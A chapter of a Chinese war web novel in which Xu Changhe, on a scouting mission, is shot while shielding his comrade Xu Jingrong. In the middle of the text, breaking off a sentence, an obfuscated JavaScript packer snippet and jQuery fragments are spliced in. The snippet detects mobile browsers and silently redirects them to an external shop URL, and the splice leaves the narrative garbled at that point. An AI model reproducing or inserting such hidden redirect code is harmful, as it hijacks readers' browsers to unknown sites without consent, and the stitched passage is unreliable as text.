许昌和睡得特别沉，那天从山坡上回来之后他沾了枕头就什么都不知道了，连梦都没做。
第二天早上，他是被院子里的说话声吵醒的，推门出去的时候太阳已经升得老高了。
许景荣蹲在水龙头边上刷牙，回头看了他一眼：“起来了？假条还能用，你今天回家。”
许昌和站在门口没动：“再等一天。”
“等什么等？！”
“就再等一天。”
许景荣把嘴里的水吐了，拿袖子擦了把嘴站起来看着他：“在等你假就过了。”
许昌和没躲他的目光，两个人对视了一会儿。
许景荣先摆了一下手：“随你。”
那天改了计划，没出任务，许昌和跟着院子里的人干了整天的杂活，劈柴、挑水、把灶台旁的柴火堆重新码了一遍。
瘦高个和他一块码柴火的时候嘴一直没停。
“家里捎来的腊肉咸不咸？我感觉还挺咸的。”
“隔壁村有人娶媳妇竟然放了八挂鞭炮。”
“战事有点紧。”
……
许昌和“嗯嗯啊啊”地应着，手里没停，柴火一根一根码齐。
柴火瘦高个拍了拍手上的土说：“你媳妇该生了吧。”
许昌和说：“快了。”
“那你还不回去。”
“出完任务就走。”
晚上吃饭的时候，连长把许昌和叫到一边，跟他说：“大后天要往东边那片山区走一趟，那边可能有对面的人在活动，你和许景荣提前准备。”
许昌和说：“知道了。”
连长又看了他一眼：“你假不是批了？”
“一起出完任务再走也不迟。”
连长没多问，点了一下头走了。
隔天一早，许景荣就来找他了。
这次他脸上带着跟平时不一样的表情，没那么松快，他站在许昌和屋门口说：“刚接到通知，东边那片山区确认有人了，今天就得走。”
许昌和正在系草鞋，听了这话手上顿了一下，他站起来问：“几个人？”
“连长说还是咱俩带小张跟李铁柱，我们四个人。”
“什么时候走？”
“吃完早饭就出发，东西都准备好了，你收拾一下过来。”
许昌和点了点头。
许景荣转身走了两步又回过头来：“老许，你今天要是想走还来得及，我跟连长说换别人。”
许昌和站在屋门口看着他：“我不走。”
许景荣没再说别的，转身走了。
许昌和回屋把背包重新整理了一遍，枪检查了弹匣，水壶灌满了，他蹲在地上又紧了紧草鞋，在床边蹲了一会儿，然后伸手摸了摸枕头底下那两封信。
他走出屋的时候太阳刚升起来，天边一片亮澄澄的。
院子里几个人已经站着了，小张和李铁柱背着枪在系腰带，许景荣站在最前面正跟连长说话。
连长拍了拍许景荣的肩膀说：“小心点”，
许景荣点了一下头。
看见许昌和过来，连长也朝他点了一下头，没说什么。
四个人出了院子。
跟前面几次不一样，这次没人嘻嘻哈哈的。
小张走在许昌和旁边，平时话最多的人今天一声不吭，闷头走路。
走了快一个钟头才有人开口说话，是李铁柱，问了一句：“那边到底多少人”。
许景荣说：“摸不准，到了再看。”
又走了一个多钟头才进山了，许景荣说：“按照原来计划走。”
几人点了点头，就两两一起走。
路越来越窄，从土路变成碎石路，碎石路变成草径，走起来得拨开两边的枝条才能过得去。
许景荣走在最前面，时不时停下来观察周围的动静。
许昌和跟在他后面，每次许景荣停下来他也跟着停下来，两个人的呼吸几乎同步。
穿过一片矮松林的时候许景荣忽然抬了一下手，两人同时蹲下来。
许昌和也听见了前面有人说话的声音，很模糊，隔着距离听不真切。
许景荣趴在土坎后面用望远镜看了一会儿，放下来说：“有几个人在山沟那边生火，不远了，咱们绕一下，从侧面摸过去。”
两个人从矮松林里退出来，沿着山脊背侧往右绕了差不多一里路，重新找到观察点，这次近了很多，能看见山沟底下一堆篝火，火苗不大，青烟细细地往上升。
火堆旁边蹲了四个人，正在吃东西，枪搁在旁边的石头上。
许景荣数了一遍又数了一遍：“四个，但不确定附近有没有别人。”
许昌和凑上来：“打还是撤？”
“先看看。”许景荣把望远镜递给他，“你看看他们腰上挂的什么型号。”
许昌和接过来调了焦，镜头里四个人的脸看不太清，但腰上挂的武器能认出来，枪管短，枪托折叠，他看了几秒放下望远镜：“跟咱们的差不多。”
许景荣“嗯”了一声，把望远镜收了，趴在那儿想了一会儿，刚好小张和铁柱也摸到了这里。
许景荣便转头对小张和李铁柱说：“你们俩在这儿守着，我和老许下去摸一下他们营地在哪，火堆旁边应该还有帐篷，摸清楚就撤。”
小张问：“就你们俩下去？”
“嗯，你俩把枪架好，万一我们被发现了，你们火力掩护一下就行。”
许景荣拍了拍他的肩膀，顺着土坎的侧面往下溜，脚下的土很松，每走一步都往下滑一点。
许昌和用脚后跟踩实了再往前挪，膝盖弯着，尽量压低身形。
许景荣在他前面两步，动作比他更利落，两个人滑到山沟底部，篝火边那四个人还在吃东西，其中一个笑了一声，声音顺着沟底传过来，带着回响。
许景荣贴着岩壁往篝火相反的方向挪了十来米，在灌木丛后面停住了。
许昌和跟上来蹲在他旁边，从灌木缝隙里望出去。
篝火斜后方果然有帐篷，灰绿色的，搭在一棵歪脖树底下，帐篷门帘垂着。
许景荣数了帐篷顶上的绳索走向，低声说：“应该不止这一个，往那边树林里可能还有。”
他正要往树林方向再看，山坡上面忽然传来一声枪响，距离虽远，但在这安静的山沟里炸开的时候所有人都听见了。
篝火边那四个人同时跳起来抓枪，有一个动作最快，枪托往肩上一顶就朝许景荣和许昌和藏身的方向扫了一梭子。
子弹打在灌木丛前面的石头上，碎石飞溅起来砸在许昌和脸上生疼。
许景荣抓着他的胳膊往后扯：“撤！”
两个人贴着岩壁往山坡方向跑。
上面小张和李铁柱的枪也响了，朝着篝火那边压了两发，把那四个人压回去了。
许昌和听见子弹从他头顶飞过去的声音，很近，空气被撕开一道尖锐的口子，他一脚踩在一块松动的石头上，整个人歪了一下，膝盖磕在地上。
许景荣回头一把拽住他衣领把他拎起来：“快！”
两个人继续往上跑。
山坡上的枪声更密了，许昌和回头扫了一眼，那四个人已经追出来了，呈扇形朝山坡方向包过来。
他听见许景荣喊了一声什么，没听清，身体被拽着往左边闪了一下，他后面刚才站的位置一朵土花炸开了。
冲到了山坡顶上土坎后面，小张正趴着往下打，李铁柱在换弹匣。
许景荣一翻过土坎就蹲下来喘了两口气，拍了一把小张：“撤了！人太多了！”
四个人开始往山脊背面撤。
许昌和跑在第三个，前面是许景荣，后面是小张。
穿过那片矮松林的时候他听见后面的枪声还在继续，但距离拉开了，子弹打在树干上，穿过矮松林是一片开阔的草坡，草坡下去就是来时的土路。
许景荣跑到草坡中间的时候忽然停了一下，许昌和没刹住撞在他背上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932600|213647||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
许景荣回头看了一眼，脸色变了，小张落后了一大截，被枪声压在一棵矮松后面抬不起头来。
许景荣骂了一声，转身就要往回跑。
许昌和一把抓住他胳膊：“你干什么？”
“小张还在后面！”
“你去了也白搭！我去！”
许昌和没等他反应就转身跑了，他往回跑的动作比他脑子里想的快得多，脚底下像自动认得路一样，两步就窜回了矮松林边缘。
他看见小张蹲在一棵树后面正朝对面射击，枪管打得发烫，对面的火力没减，子弹嗖嗖地擦着树皮飞。
许昌和冲到小张旁边蹲下来，喊了一声：“走！”
小张回头看了他一眼，眼睛瞪得很大，嘴唇干裂着：“我腿好像被蹭了一下，跑不快了。”
许昌和低头看了一眼，小张的裤腿上有个弹孔，血渗出来染湿了一大片，但不太严重，他把小张的一条胳膊搭在自己肩上，架着他站起来。
两个人的重量压在一条腿上，许昌和咬着牙往草坡方向跑，子弹在身后追着，有一发擦过他耳边的树干，树皮炸开的碎屑崩在他脖颈上。
冲到草坡上，许景荣和李铁柱已经在那等着接应了。
李铁柱冲过来接过小张，许景荣朝许昌和喊了一声：“快！”
许昌和迈步往前跑，脚下是松软的草坡，每一步都陷进去又拔出来，他跑了不到十步，忽然听见一个从侧后方很近的地方传了的声音。
从矮松林侧翼绕出来的一个人影，端着枪，他转头看到那人已经到了，枪口正对着许景荣。
许景荣站在草坡中间，刚把小张接过去，整个人暴露在开阔地上没有遮挡。
许昌和脑子里什么都没想。
他身体先动了，他朝许景荣扑过去，两只脚蹬在草坡上把自己整个人弹出去。
那个瞬间很慢——
许景荣的脸转过来，他看见许景荣眼睛里映出来的光，是枪口冒出的那团白烟，然后他的胸口挨了一下，很重，像被人抡了一铁锤。
许昌和落在许景荣身上，两个人一起倒在草坡上往下滚了两圈。
滚动的过程中他感觉到胸口有什么东西在往外淌，热乎乎的，把衣服浸透了贴在皮肤上。
他想张嘴说话，嘴里涌上来一股腥甜的铁锈味儿，堵住了喉咙。
许景荣翻身坐起来的时候脸上全是血，不知道是谁的，他一只手托着许昌和的后脑勺把他半抱起来，另一只手捂在他的胸口上，掌心下面血还在往外涌，从指缝间溢出来。
许景荣嘴张着在喊什么。
许昌和真听不清了，耳朵里嗡嗡的，他只看清了许景荣的嘴型。
老许！老许、老许——
许昌和想笑一下，嘴角动了一点点，他抬起手，沾着血的手抬到一半就抬不动了，许景荣抓住他的手按在自己胸口上。
许景荣在哭，眼泪从年轻的脸上一道一道往下淌，混在血里面分不出来。
许昌和从没见过他哭，后来那么多年他也没见过，许景荣从来不会哭。
但这一刻他看见许景荣的眼泪了，热乎乎的滴在他脸上。
他张了张嘴。
胸口很疼，但他觉得嘴里那口腥甜的味儿底下有一点点别的味道，是橘子味儿。
口袋里那颗糖还没吃，是昨天瘦高个塞给他的。
他想摸那颗糖，手动了动没够着。
……
他的视线越来越模糊了。
草坡、天、许景荣的脸，所有东西都在往后退，越来越远，好像有援军来了。
他听见许景荣还在喊他，声音从清晰变得模糊，一切安静了——
他往下掉。
掉进一片什么都没有的黑暗里，安静得连风声都没有。
胸口不疼了。
他往下掉了很久很久，久到他以为永远不会停下来的时候，忽然听见一个声音。
很远，隔着什么东西传过来，模糊断续的。